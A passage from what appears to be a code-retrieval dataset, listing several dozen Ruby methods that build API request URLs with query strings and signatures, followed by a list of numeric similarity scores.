"def to_url\n port = @attrs[:port]\n url = \"#{@attrs[:protocol]}://#{@attrs[:host]}\"\n url << \":#{port}\" if port\n url << \"#{@attrs[:path]}?\"\n\n params_str = params.map {|name, value|\n \"#{CGI.escape(name)}=#{CGI.escape(value)}\"\n }.join('&')\n url << params_str\n end",
"def make_url(method, params = nil)\n escaped_params = expand_params(params).map do |k,v|\n k = URI.escape(k.to_s).gsub(';', '%3B').gsub('+', '%2B').gsub('&', '%26')\n v = URI.escape(v.to_s).gsub(';', '%3B').gsub('+', '%2B').gsub('&', '%26')\n \"#{k}=#{v}\"\n end\n\n query = escaped_params.join '&'\n\n url = @url + \"./#{method}\"\n url.query = query\n return url\n end",
"def build_url url='', params={}, string_query=''\n queries = [string_query, hash_to_query(params)]\n queries.delete_if{|i| i.to_s.empty?}\n url += \"?#{queries.join('&')}\" unless queries.empty?\n url\n end",
"def build_uri\n URI.parse(base_url + \"?\" + query_params)\n end",
"def generate_url(path, params={}, options={})\n Hubspot::Config.ensure! :hapikey\n path = path.clone\n params = params.clone\n base_url = options[:base_url] || Hubspot::Config.base_url\n params[\"hapikey\"] = Hubspot::Config.hapikey unless options[:hapikey] == false\n\n if path =~ /:portal_id/\n Hubspot::Config.ensure! :portal_id\n params[\"portal_id\"] = Hubspot::Config.portal_id if path =~ /:portal_id/\n end\n\n params.each do |k,v|\n if path.match(\":#{k}\")\n path.gsub!(\":#{k}\",v.to_s)\n params.delete(k)\n end\n end\n raise(Hubspot::MissingInterpolation.new(\"Interpolation not resolved\")) if path =~ /:/\n query = params.map{ |k,v| param_string(k,v) }.join(\"&\")\n path += \"?\" if query.present?\n base_url + path + query\n end",
"def build_request_url(path, params)\n\t\t\t\t\tURI::HTTP.build :host => API_SERVER,\n\t\t\t\t\t\t\t\t\t\t\t\t\t:path => \"#{API_BASE}/#{path}\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t:query => params.map {|k,v| \"#{k}=#{v}\"}.join('&')\n\t\t\t\tend",
"def prepare_url(method, appid, secret, params = {})\n\ttimestamp = Time.now.utc.strftime('%Y%m%d%H%M%S')\n\tparams[:method] = method\n\tparams[:appid] = appid\n\tparams[:ts] = timestamp\n\thtml_params = params.map { |k,v| \"#{k.to_s}=#{v}\" }.join(\"&\")\n\n\traw = secret + params.keys.\n\t\t\tsort{ |a,b| a.to_s.downcase <=> b.to_s.downcase }.\n\t\t\tmap{ |k| \"#{k.to_s}#{params[k]}\" }.\n\t\t\tjoin\n\n\tsig = Digest::MD5.hexdigest(raw)\n\t\"http://cloud.scorm.com/api?#{html_params}&sig=#{sig}\"\nend",
"def build_url(action, query=nil)\n url = URI.parse($base_url).merge(action).to_s\n url = OpenID::Util.append_args(url, query) unless query.nil?\n return url\n end",
"def url(name, params={})\n Merb::Router.generate(name, params)\n end",
"def with_params(param_hash)\n param_string = '?' + param_hash.map { |key, value| \"#{::CGI.escape(key.to_s)}=#{::CGI.escape(value.to_s)}\" }.sort.join('&')\n return URI.parse(File.join(api_service_uri, command_uri + param_string))\n end",
"def create_url\n uri = Addressable::URI.new\n uri.query_values = properties\n \"#{ BASE_URI }#{ Hubspotter.configuration.portal_id }#{ create_endpoint }#{ uri.query }\"\n end",
"def generate_request_url(params)\n \n \n # Set current timestamp if not set\n params[\"Timestamp\"] = Time.now.gmtime.iso8601 if !params.key?(\"Timestamp\")\n\n # Generate the canonical query\n canonical_query_string = params.sort.collect do |key, value|\n [URI.escape(key.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\")), URI.escape(value.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))].join('=')\n end.join('&')\n\n # Generate the string to be signed\n string_to_sign = \"GET\\n#{ENDPOINT}\\n#{REQUEST_URI}\\n#{canonical_query_string}\"\n\n # Generate the signature required by the Product Advertising API\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), ENV['SECRET_KEY'], string_to_sign)).strip()\n\n # Generate the signed URL\n request_url = \"http://#{ENDPOINT}#{REQUEST_URI}?#{canonical_query_string}&Signature=#{URI.escape(signature, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))}\"\n\n puts \"Signed URL: \\\"#{request_url}\\\"\"\n end",
"def make_url(apipath)\n @base_url + \"/api/open-v1.0/\" + apipath\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def build_url(url, params = nil)\n if params.respond_to? :each\n params.each do |key, value|\n # Convert dates to CC date format\n if value.respond_to? :iso8601\n params[key] = value.iso8601\n end\n\n if key.to_s == 'next' && value.match(/^.*?next=(.*)$/)\n params[key] = $1\n end\n end\n else\n params ||= {}\n end\n url + '?' + Util::Helpers.http_build_query(params)\n end",
"def format_url(url_params)\n url_base = \"https://agencyrecruiting.apihealthcare.com/UAM2/index.cfm\"\n args = format_arguments(url_params)\n url = \"#{url_base}?#{args}\"\n return url\n end",
"def generate_uri(url, options)\n uri = API_URL + url\n options.each do |key,value|\n uri += uri.include?(\"?\") ? \"&#{key}=#{value}\" : \"?#{key}=#{value}\"\n end\n URI.parse uri\n end",
"def with_params(param_hash)\n param_string = '?' + param_hash.map { |key, value| \"#{key}=#{value}\" }.sort.join('&')\n return URI.parse(File.join(api_service_uri, @command_name + URI.encode(param_string)))\n end",
"def build_uri(params = {}, specificator = nil, action = nil)\n params.merge!(api_token: ENV['pipedrive_api_token'])\n query_string = params.map{|k,v|\"#{k}=#{v}\"}.join('&')\n plural_resource_name = @resource_name == 'person' ? 'persons' : @resource_name.pluralize\n uri = URI(\"#{HOST}/#{[plural_resource_name, specificator, action].compact.join('/')}?#{query_string}\")\n end",
"def build_url\n unless key && key.length > 0\n raise ArgumentError, 'Missing API key parameter. Visit http://developer.oodle.com/request-api-key/ to get one.'\n end\n\n unless region && region.length > 0\n raise ArgumentError, 'Missing region paramter. Visit http://developer.oodle.com/regions-list/ for possible regions.'\n end\n\n unless (category && category.length > 0) || (q && q.length > 0)\n raise ArgumentError, 'You must supply a category or query parameter. Visit http://developer.oodle.com/categories-list/ for possible categories.'\n end\n\n unless num.to_i >= 1 && num.to_i <= 50\n warn \"num parameter is #{num.to_i} but should be between 1 and 50\"\n end\n\n url = VERSION_URLS[self.version]\n url += \"?\" unless url && url[-1] == '?'\n # must CGI escape each param value\n url = \"#{url}key=#{CGI::escape(self.key)}\"\n url = \"#{url}®ion=#{CGI::escape(self.region)}\" if self.region\n url = \"#{url}&category=#{CGI::escape(self.category)}\" if self.category\n url = \"#{url}&q=#{CGI::escape(self.q)}\" if self.q\n url = \"#{url}&attributes=#{CGI::escape(self.attributes_as_string)}\" if self.attributes.size > 0\n url = \"#{url}&location=#{CGI::escape(self.location)}\" if self.location\n url = \"#{url}&radius=#{CGI::escape(self.radius.to_s)}\" if self.radius\n url = \"#{url}&start=#{CGI::escape(self.start.to_s)}\" if self.start\n url = \"#{url}&num=#{CGI::escape(self.num.to_s)}\" if self.num\n url = \"#{url}&sort=#{CGI::escape(self.sort)}\" if self.sort\n url = \"#{url}&refinements=#{CGI::escape(self.refinements_as_string)}\" if self.refinements.size > 0\n url = \"#{url}&ctime_low=#{CGI::escape(self.ctime_low)}\" if self.ctime_low\n url = \"#{url}&ctime_high=#{CGI::escape(self.ctime_high)}\" if self.ctime_high\n url = \"#{url}&exclude_sources=#{CGI::escape(self.exclude_sources_as_string)}\" if self.exclude_sources.size > 0\n url = \"#{url}&assisted_search=#{CGI::escape(self.assisted_search)}\" if self.assisted_search\n url = \"#{url}&format=#{CGI::escape(self.format)}&jsoncallback=none\" if self.format\n url\n end",
"def prepare_url(method, params = {})\n timestamp = Time.now.utc.strftime('%Y%m%d%H%M%S')\n params[:method] = method\n params[:appid] = @appid\n params[:ts] = timestamp\n html_params = URI.encode_www_form(params)\n\n raw = @secret + params.keys.\n sort{ |a,b| a.to_s.downcase <=> b.to_s.downcase }.\n map{ |k| \"#{k.to_s}#{params[k]}\" }.\n join\n\n sig = Digest::MD5.hexdigest(raw)\n \"#{api_url}?#{html_params}&sig=#{sig}\"\n end",
"def initialize(params)\r\n raise ArgumentError unless params.is_a? Hash\r\n @url = build_url(params)\r\n end",
"def build_url(path, params={})\n full_path = @uri.path + path\n full_url = \"#{@uri.scheme}://#{@uri.host}\"\n full_url += \":#{@uri.port}\" if @uri.port\n full_url += super(full_path, params, @uri.query)\n end",
"def url_for(params)\n \"#{root_url}openid/#{params[:action]}\"\n end",
"def build\n params = @params_map.map do |k, v|\n open_url_key = open_url_params_map[k] || k.to_s\n \"#{open_url_key}=#{v}\"\n end.join('&')\n open_url = @resolver_url + '?' + params\n UmdOpenUrl.logger.debug do\n # Filter out the wskey parameter value\n logged_url = open_url.sub(/wskey=.*?&/, 'wskey=###&')\n UmdOpenUrl.logger.debug(\"UmdOpenUrl::Builder.build - open_url: #{logged_url}\")\n end\n open_url\n end",
"def build(uri, params)\n # remove empty GA params\n params.delete_if { |_, v| v.blank? }\n # if no params return untouched url\n return uri if params.empty?\n # build the final url\n parsed = ::Addressable::URI.parse(uri)\n return uri if @filter && !@filter.call(parsed)\n\n parsed.query_values = (parsed.query_values || {}).reverse_merge(params) if parsed.absolute?\n parsed.to_s.html_safe\n end",
"def generate_api_parameters(url_params_hash)\n url_params_hash.present? ? ('?' + url_params_hash.to_query) : ''\n end",
"def generate_url(path, params = {})\n params['client'] ||= client_id\n signature_base_string = \"#{path}?#{URI.encode_www_form(params)}\"\n \"#{base_url}#{signature_base_string}&signature=#{generate_signature(signature_base_string)}\"\n end",
"def build_uri\n uri = URI(\"#{Phantomblaster::API_URL}#{path}\")\n query = build_query(uri, args)\n uri.query = query\n uri\n end",
"def create_uri(url, parms)\n uri = URI(url)\n uri.query = URI.encode_www_form(parms)\n uri\nend",
"def format_request_uri(path, params)\n params.merge!({app_id: app_id, app_key: app_key})\n params_string = URI.encode_www_form(params)\n URI::HTTPS.build(host: host.host, path: URI.escape(path), query: params_string)\n end",
"def url_for(*args)\n options = {}\n options = args.pop if args.last.kind_of?(Hash)\n\n segments = []\n segments << url_options[:base_path] if url_options[:base_path]\n segments << prefix if prefix\n segments << version\n segments += args.collect {|part| part.respond_to?(:to_param) ? part.to_param : part.to_s }\n\n url = \"\"\n url << url_options.fetch(:protocol, \"http\").to_s << \"://\"\n url << url_options.fetch(:host, env[\"SERVER_NAME\"])\n\n port = url_options.fetch(:port, env[\"SERVER_PORT\"]).to_i\n url << \":\" << port.to_s if port.nonzero? && port != 80\n\n url << Rack::Mount::Utils.normalize_path(segments.join(\"/\"))\n url << \"?\" << options.to_param if options.any?\n url\n end",
"def make_url(params) #:nodoc:\n if @key && @client_id\n url = super params.merge(:sensor => false, :client => @client_id)\n make_signed_url(url)\n else\n super params.merge(:sensor => false)\n end\n end",
"def create_uri(fake_method, **kwargs)\n @uri_part += kwargs ? kwargs.map {|k, v| \"/#{k}/#{v}\"}.join : ''\n \"api/#{fake_method}#{@uri_part}/xml\"\n end",
"def url_with_params\n url + \"/?\" + URI.encode_www_form(@options[:request_params])\n end",
"def pay_url(params = {})\n sanity_check!\n md5sum = Digest::MD5.hexdigest([\n id,\n params[:kwota],\n params[:crc],\n security_code\n ].join)\n params.merge!({id: id, md5sum: md5sum})\n URI::HTTPS.build(host: \"secure.tpay.com\", query: params.to_query).to_s\n end",
"def url_for(*args)\n options = args.extract_options!.with_indifferent_access\n # leading colon\n port = options[:port].blank? ? nil : \":#{options[:port]}\"\n # leading question mark\n query = options[:query].blank? ? nil : \"?#{options[:query]}\"\n # leading octothorpe\n fragment = options[:fragment].blank? ? nil : \"##{options[:fragment]}\"\n URI(\"#{url_scheme}://#{fqdn}#{port}#{app_root}#{options[:path]}#{query}#{fragment}\")\n end",
"def formulate_url_with_query_string(url: nil, attributes: nil, txn_no: nil)\n query_string = {\n attributes: attributes.join(','),\n client_id: @client_id,\n singpassEserviceId: @singpass_eservice_id,\n txnNo: txn_no\n }\n\n \"#{url}?#{URI.encode_www_form(query_string)}\"\n end",
"def construct_url(method, format, dev_id, signature, session_id, formatted_timestamp)\n \"#{API_END_POINT}/#{method}#{format}/#{dev_id}/#{signature}/#{session_id}/#{formatted_timestamp}\"\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def request_url\n base_url = \"http://#{api_host}#{PATH}?\"\n base_url << \"appid=#{app_id}\"\n base_url << \"&callname=#{call_name}\"\n base_url << \"&siteid=#{site_id}\"\n base_url << \"&version=#{API_VERSION}\"\n base_url\n end",
"def build_url(path, params={})\n full_path = @uri.path + path\n\n super full_path, params, @uri.query\n end",
"def build_request_url(params)\n \"http://api.nytimes.com/svc/search/v2/articlesearch.json?\"+params\n end",
"def build_url(path, params = {})\n path = path.sub(%r{\\A/}, '')\n params = params.merge(access_token: @access_token)\n URL_TEMPLATE.expand(path: path, query: params)\n end",
"def create_url(parameters)\n # \"/badges/add/:as\n path = uri_path\n if path =~ /:/\n # [\"\", \"badges\", \"add\", \":as\"]\n parts = path.split('/')\n path = \"\"\n parts.each do |part|\n next if part == \"\" or part.nil?\n path << '/'\n if part =~ /:/\n part_name = /:(.*)/.match(part)[1]\n # parameters[:as]\n part = parameters[part_name.to_sym]\n end\n path << part\n end\n end\n url = \"#{Kickit::Config.rest_base_uri}#{path}\"\n end",
"def get_url_with_params(path, params)\n \"#{path}?\".concat(params.collect{|k,v| \"#{k}=#{URI::escape(v.to_s)}\"}.join(\"&\"))\n end",
"def generate_url\n api_key = WavecellOtpAndSms.configuration.api_key\n sub_account = WavecellOtpAndSms.configuration.sub_account\n details = [uid, code]\n parameters = {\n uid: uid,\n code: code\n }\n query_string = parameters.to_a.map { |x| \"#{x[0]}=#{x[1]}\" }.join(\"&\")\n url = \"https://api.wavecell.com/otp/v1/#{sub_account}/#{uid}?code=#{code}\"\n HTTParty.get(url.to_str,\n :body => parameters.to_json,\n :headers => {\n \"Content-Type\" => \"application/json\",\n \"Authorization\" => \"Bearer #{api_key}\"\n })\n end",
"def url\n connection.build_url(url_chunk, params).to_s\n end",
"def to_url\n \"%s/web/api/%s/%s/authkey=%s/%s\" % [ host, target, url_options, authkey, output ]\n end",
"def to_api\n params_as_querystring = @params.marshal_dump.map{ |key|\n k = key.first.to_s.gsub('_', '-')\n v = URI::encode key[1]\n \"%s=%s\" % [k, v]\n }.join(\"&\")\n \"%s?%s\" % ['api/' + @path, params_as_querystring]\n end",
"def url(*args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n fragment = params.delete(:fragment) || params.delete(:anchor)\n path = make_path_with_params(args, value_to_param(params))\n rebase_url(fragment ? path << '#' << fragment.to_s : path)\n end",
"def url()\n set_signature\n\n url = service_end_point + \"?\"\n\n param_string = @params.map do |key,value|\n [key,value].map { |string| Amazon::FPS::SignatureUtils.urlencode(string) }.join '='\n end.join '&'\n\n url + param_string\n end",
"def request_url(method, params={})\n url = \"#{@host}#{@api}/#{method}?ApiKey=#{@api_key}\"\n params.each_pair do |key, val|\n url += \"&#{key}=\" + CGI::escape(val.to_s)\n end\n url\n end",
"def item_url(result)\n query = CGI.parse(env.url.query.to_s)\n \"#{env.url.scheme}://#{env.url.host}/entity/#{result['identifiers'][0]['identifier']}.xml?_key=#{CGI.escape(query['_key'][0].to_s)}\"\n end",
"def get_full_url(req_params)\n full_url=self.url\n\n if self.input_params.size>0\n full_url+=\"?\"\n\n self.input_params.each do |param|\n #puts \"name:\"+param.name+\"->value:\"+param.value\n if req_params.has_key? param.name #this was a dynamic param -> overwrite\n value=req_params[param.name]\n else\n value=param.value\n end\n\n full_url+=encode(param.name)+\"=\"+encode(value)+\"&\"\n end\n full_url=full_url[0..-2] #remove last &\n end\n\n return full_url\n end",
"def url(*args)\n args << (@request_params || {})\n Merb::Router.url(*args)\n end",
"def url(path, params = T.unsafe(nil)); end",
"def url_with_window(url, query_params, time_window_params)\n uri = URI(url)\n uri.query = time_window_params.merge(query_params).to_query\n\n uri.to_s\n end",
"def url\n url = \"#{config.url[config.env]}/#{@path}\"\n url = \"#{url}?#{@params.to_param}\" unless @params.empty?\n url\n end",
"def to_uri\n build_uri\n end",
"def generate_url( name, props = {}, params = {}, request = nil )\n event_props = props.dup\n event_props[:token] = @token\n event_props[:time] = Time.now.to_i if( !props[:time] )\n if( request.respond_to?(:remote_ip) )\n event_props[:ip] = request.remote_ip if( !props[:ip] )\n event_props[:distinct_id] = request.remote_ip if( !props[:distinct_id] )\n end\n\n data = { :event => name, :properties => event_props }\n encoded = Base64::encode64(data.to_json).gsub(/\\s/, '')\n params[:data] = encoded\n param_strings = []\n params.each_pair {|key,val|\n param_strings << \"#{key}=#{CGI.escape(val.to_s)}\"\n }\n\n endpoint = @options[:ssl] ? @@https_endpoint : @@http_endpoint\n url = \"#{endpoint}/track/?#{param_strings.join('&')}\"\n return url\n end",
"def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end",
"def get_url(locale, params)\n URI.escape(get_base(locale) + '?' + url_params(params))\n end",
"def build_get_uri(uri, params)\n if params && params.length > 0\n if uri.include?('?')\n if uri[-1, 1] != '&'\n uri += '&'\n end\n uri += urlencode(params)\n else\n uri += '?' + urlencode(params)\n end\n end\n return uri\n end",
"def url\n @url ||= \"https://#{@host}/#{druid_without_prefix}.xml\"\n end",
"def refworks_export_url params = {}\n if params.is_a? ::SolrDocument or (params.nil? and instance_variable_defined? :@document)\n Deprecation.warn self, \"Calling #refworks_export_url without a :url is deprecated. Pass in e.g. { url: url_for_document(@document, format: :refworks_marc_txt) } instead\"\n url = url_for_document(params || @document)\n params = { url: polymorphic_url(url, format: :refworks_marc_txt, only_path: false) }\n elsif params[:id]\n Deprecation.warn self, \"Calling #refworks_export_url without a :url is deprecated. Pass in e.g. { url: url_for_document(@document, format: :refworks_marc_txt) } instead\"\n params = { url: polymorphic_url(url_for_document(params), format: :refworks_marc_txt, only_path: false) }\n end\n\n \"http://www.refworks.com/express/expressimport.asp?vendor=#{CGI.escape(params[:vendor] || application_name)}&filter=#{CGI.escape(params[:filter] || \"MARC Format\")}&encoding=65001\" + ((\"&url=#{CGI.escape(params[:url])}\" if params[:url]) || \"\")\n end",
"def api_url\n @api_url ||= URI.parse(\"#{super}?#{URI.encode_www_form(query_params)}\")\n end",
"def build_url(product, options = nil)\n \"#{BASE_URL}#{product}#{build_query_string(options)}\"\n end",
"def api_url path, params = {}\n url = File.join File.join(api_base_url, api_base_path), path\n \"#{url}?#{api_query_string params}\"\n end",
"def app_url(owner, app_name, path)\n router = ::UsrRouter.for(owner)\n app_url = router.url_for(app: app_name)\n\n # if a path in the app is provided, append this to the URL\n if path\n app_uri = URI(app_url)\n app_uri.path = Pathname.new(app_uri.path).join(path).to_s\n app_url = app_uri.to_s\n end\n\n app_url\n end",
"def url(name, *params)\n self.class.url(name, *params)\n end",
"def build_uri_path(path, params)\n path + handle_params(params)\n end",
"def create_uri\n \"http://www.wunderground.com/\" +\n \"weatherstation/WXDailyHistory.asp?\" + \n \"ID=#{weather_station.callsign}&\" +\n \"graphspan=month&\" + \n \"month=#{start_time.month}&day=1&year=#{start_time.year}\" +\n \"&format=1\"\n end",
"def set_uri(host, params)\n # delete params with empty values\n req_params = params.delete_if do |_key, value|\n # type conversion required because symbols/ints can't be extended\n value = CoreExtensions::String.new value.to_s # add #blank?\n value.blank?\n end\n\n uri = URI(host)\n uri.query = URI.encode_www_form(req_params)\n uri\n end",
"def url(path = nil, params = nil)\n path = path[1..-1] if path&.chr == '/'\n \"https://#{URI.parse(beyond_api_url).host}/#{path}#{'?' +params&.to_query if params.present?}\"\n end",
"def build_url(action)\n \"#{@base_url}#{action}\"\n end"
] |
[
"0.77202904",
"0.73859423",
"0.70935374",
"0.6519628",
"0.648389",
"0.64563817",
"0.64472604",
"0.6401922",
"0.6334719",
"0.63282037",
"0.6314989",
"0.6284054",
"0.62474936",
"0.62145054",
"0.6205274",
"0.6156818",
"0.6112958",
"0.60731816",
"0.6067982",
"0.6063928",
"0.6061628",
"0.60594475",
"0.6043951",
"0.6027092",
"0.6015637",
"0.5998504",
"0.59530705",
"0.5917431",
"0.58825916",
"0.5878132",
"0.5800473",
"0.5799006",
"0.57823366",
"0.5777989",
"0.5758291",
"0.57538354",
"0.5748815",
"0.57453126",
"0.57377625",
"0.5697913",
"0.5679094",
"0.5653637",
"0.5627864",
"0.56192213",
"0.56065935",
"0.56032723",
"0.5596781",
"0.55966055",
"0.55873024",
"0.5576254",
"0.55618095",
"0.5554613",
"0.555032",
"0.55462307",
"0.55325353",
"0.55166477",
"0.55117935",
"0.54949796",
"0.54774344",
"0.5475434",
"0.5451856",
"0.5451856",
"0.5451856",
"0.5450555",
"0.5441159",
"0.54267406",
"0.54173976",
"0.540952",
"0.540049",
"0.5398849",
"0.53957397",
"0.5381199",
"0.5377088",
"0.5374125",
"0.5373705",
"0.53724635",
"0.5364486",
"0.53515583",
"0.53429323",
"0.53365165",
"0.5332394",
"0.5328318",
"0.53188187",
"0.5314455",
"0.53081155",
"0.53020984",
"0.53020173",
"0.53015935",
"0.52997077",
"0.5296905",
"0.52933586",
"0.52820456",
"0.52653474",
"0.52573556",
"0.5256837",
"0.5256705",
"0.5255436",
"0.52551496",
"0.5248534"
] |
0.8514641
|
1
|
get hash of blocks names and its full path which have configs in /states folder in format key folder/subfolder value full path blockslibrary///wireframe/dist/index.html example = "header/header_1" => "PATH/header_1/wireframe/dist/index.html"
|
def block_paths
raise NotImplementedError, 'Implement this method in a child class'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_block_names\n @blocks.keys\n end",
"def basic_blocks\n cfg.blocks\n end",
"def class_name_to_blocks_dir(name)\n name = name.split('::')\n name.shift # Drop the application name\n dir = Origen.root.join('app', 'blocks')\n name.each_with_index do |n, i|\n if i == 0\n dir = dir.join(n.underscore)\n else\n dir = dir.join('derivatives', n.underscore)\n end\n end\n dir\n end",
"def getblockhash(index)\n @api.request 'getblockhash', index\n end",
"def hash\n path.hash\n end",
"def config_key_path(partial_path)\n \"consul-alerts/config/#{partial_path}\"\nend",
"def find_matching_blocks( key )\n\t\treturn self.class.routes.inject([]) do |accum, (re, re_blocks)|\n\t\t\taccum += re_blocks if re.match( key )\n\t\t\taccum\n\t\tend\n\tend",
"def hash\n @relative_name.hash\n end",
"def get_all(key)\n configuration.hpath(key)\n end",
"def directory_hash(path, name=nil, exclude = [])\n exclude.concat(['..', '.', '.git', '__MACOSX', '.DS_Store'])\n data = {'name' => (name || path), 'type' => 'folder'}\n data[:children] = children = []\n Dir.entries(path).sort.each do |entry|\n # Dir.entries(path).each\n # puts entry\n next if exclude.include?(entry)\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n if entry.include?(\"credit app\")\n kids = Dir.entries(full_path)\n kids.reject! {|x|exclude.include?(x)}\n if kids.length >= 1\n # can add a kids.each loop here if mom ever wants more than one credit app\n child_path = File.join(full_path, kids[0])\n true_path = child_path.partition(\"app/assets/images/\")[2]\n link = ActionController::Base.helpers.image_path(true_path)\n # puts full_path\n # puts link\n entry = entry.split('.')[0]\n if entry.include?('--')\n entry = entry.split('--')[1]\n end\n entry = entry.upcase\n\n children << \"<li class='category'>CREDIT APP<li class='kid'><a href='#{link}'>#{entry}</a></li></li>\"\n else\n # gotta fix these two somehow\n children << \"<li><a href='#'>NO APP</a></li>\"\n end\n elsif entry.include?('flipbook')\n # Dir.entries(full_path).each do |flipbook|\n # next if exclude.include?(flipbook)\n # if File.directory?(full_path)\n name = entry.split(\"-\")[1]\n name = name.upcase\n if @account==\"UNDER ARMOUR\" && full_path.include?('UA GOLF')\n uasub = 'UA GOLF'\n elsif @account==\"UNDER ARMOUR\" && full_path.include?('UA FITNESS')\n uasub = 'UA FITNESS'\n end\n\n linky = view_context.link_to name, controller: 'catalogues', action: 'flipbook', id: @account, subid: entry, :data => { :uaname => uasub }\n children << \"<li class='kid'>#{linky}</li>\"\n # catfolder = full_path.split('/flipbook')[0]\n # end\n\n # end\n elsif entry.include?(\"toplevel\")\n # replace toplevel with a better check, something like if parent = pictures\n entryname=entry.split('-')[0].upcase\n children << \"<li class='kid'><a href='/catalogues/#{@account}/pictures/#{entry}'>#{entryname}</a></li>\"\n\n else\n children << directory_hash(full_path, entry)\n end\n else\n # true_path = full_path.partition(\"app/assets/images/\")[2]\n\n true_path = full_path.partition(\"app/assets/images/\")[2]\n # puts true_path\n link = ActionController::Base.helpers.image_path(true_path)\n\n # puts link\n entry = entry.split('.')[0]\n if entry.include?('--')\n entry = entry.split('--')[1]\n end\n # this is where final kids are created\n entry = entry.upcase\n children << \"<li class='kid'><a href='#{link}'>#{entry}</a></li>\"\n end\n end\n return data\n end",
"def get_broadhash\n blocks = self.blocks_get_status\n if blocks[\"success\"]\n return blocks[\"broadhash\"]\n else\n return nil\n end\n end",
"def paths\n {\n :homepage => '/',\n :people => '/people',\n :work => '/work',\n :labs => '/labs',\n :\"find-us\" => '/find-us',\n :\"pebbles-good-code\" => '/pebbles-good-code'\n }\nend",
"def file_get_initialization(structure = ENV[\"HOME\"]) # this is linux specific for now\n @file_information = {} # {\"/directory\"=>[\"file\"], \"/directory/directory\"=>[\"file\", \"file\"]\n files = [] \n directory = \"\"\n directories = [] \n things = structure.split('/')\n things.each do |thing|\n if thing == \"\"\n directories.push(\"/root\")\n else\n directory = \"#{directory}/#{thing}\" \n @current_directory = directory\n directories.push(\"#{directory}\") if File.directory?(\"#{directory}\")\n end\n end \n return directories\n end",
"def selfHash\n dirHash(Pathname.new(__FILE__).dirname, /\\.rb$/)\nend",
"def get_breadcrumb_hash(path)\n ret = {}\n path_components = DocUtil.path_to_arr(path)\n\n path_components.each_index do |i|\n next if i == 0\n\n sub_path = DocUtil.arr_to_path(path_components[0..i])\n if @route_info.keys.include?(sub_path)\n ret[path_components[i]] = sub_path\n else\n ret[path_components[i]] = nil\n end\n end\n return ret\n end",
"def hash\n [aws_elastic_block_store, azure_disk, azure_file, cephfs, cinder, config_map, downward_api, empty_dir, fc, flex_volume, flocker, gce_persistent_disk, git_repo, glusterfs, host_path, iscsi, name, nfs, persistent_volume_claim, photon_persistent_disk, portworx_volume, projected, quobyte, rbd, scale_io, secret, storageos, vsphere_volume].hash\n end",
"def hash\n @path.hash\n end",
"def hash_by_uri\n @hash_by_uri ||= begin\n result = {}\n flatten_hierarchy.each do |c|\n result[c.uri.to_s]=c\n end\n result\n end\n end",
"def locallist()\n # so. if @locationbase/bundles exists\n # gather and merge: @locationbase/bundles/*/@location\n # then merge @locationbase/@location\n #\n\n bundleDir = $cfg['location.bundles'] or 'bundles'\n bundleDir = 'bundles' if bundleDir.nil?\n items = {}\n if (@locationbase + bundleDir).directory? then\n (@locationbase + bundleDir).children.sort.each do |bndl|\n if (bndl + @location).exist? then\n verbose(\"Loading from bundle #{bndl.basename}\")\n bitems = localitems(bndl + @location)\n bitems.map!{|b| b[:bundled] = true; b} # mark items from bundles.\n\n\n # use synckey for quicker merging.\n bitems.each { |b| items[synckey(b)] = b }\n end\n end\n end\n if (@locationbase + @location).exist? then\n bitems = localitems(@locationbase + @location)\n # use synckey for quicker merging.\n bitems.each { |b| items[synckey(b)] = b }\n else\n warning \"Skipping missing location #{@locationbase + @location}\"\n end\n\n items.values\n end",
"def path_components\n [configuration_name]\n end",
"def sp_hash_from_dirs( dirs )\n r = {}\n dirs.each do |dir|\n Dir.glob( \"#{dir}/*.rb\" ).each do |path|\n filename = File.basename( path )\n r[filename] ||= path\n end\n end\n r\nend",
"def bp_directory_index\n tree_hash = BP.same_level_views(\"/base_project#{request.env['PATH_INFO']}\")\n\n p tree_hash\n\n out = \"<ul>\"\n\n tree_hash.keys.each do |tree_hash_key|\n thk = tree_hash_key.gsub(\".html.erb\", \"\")\n thk = thk.gsub(\"/mocks\", \"\")\n\n out += content_tag :li, thk.gsub(\"/\", \"\")\n\n out += \"<ul>\"\n tree_hash[tree_hash_key].each do |tree_hash_value|\n thv = tree_hash_value.gsub(\".html.erb\", \"\")\n if thv != \"index\"\n out += content_tag :li, link_to(\"#{thv}\", \"/mocks?t=#{thk}/#{thv}\")\n end\n\n end\n out += \"</ul>\"\n\n out += \"</li>\"\n end\n out += \"</ul>\"\n\n out.html_safe\nend",
"def index\n @blocks = @subdivision.blocks\n @blocks = @blocks.map{|d| {id: d.id, name: d.name[@language]}}\n end",
"def k8s_config_map(path)\n \"|\\n\" +\n ERB.new(File.read(Pathname(@_curr_file).dirname + path)).result(binding).split(\"\\n\").map do |line|\n \" \" + line + \"\\n\"\n end.join('')\n end",
"def buildCodeFilesHashFromFiles()\n\t\tdir = @cacheDirPath \n\t\tfilesList = Dir.glob(dir + \"**/*\").select{|e| File.file? e}\n\t\tfilesList.map.with_index{|file,index|\n\t\t\t#p \"cacheFile: \" + index.to_s if index % 1000 == 0\n\t\t\tp \"cacheFile: \" + index.to_s \n\t\t\tfilePath = dir + index.to_s + \".yaml\"\n\t\t\tfile = File.read(filePath)\n\t\t\tYAML.load(file)\n\t\t}.to_h\n\tend",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def path\n '/' + path_states.map(&:name)[1..-1].join('/')\n end",
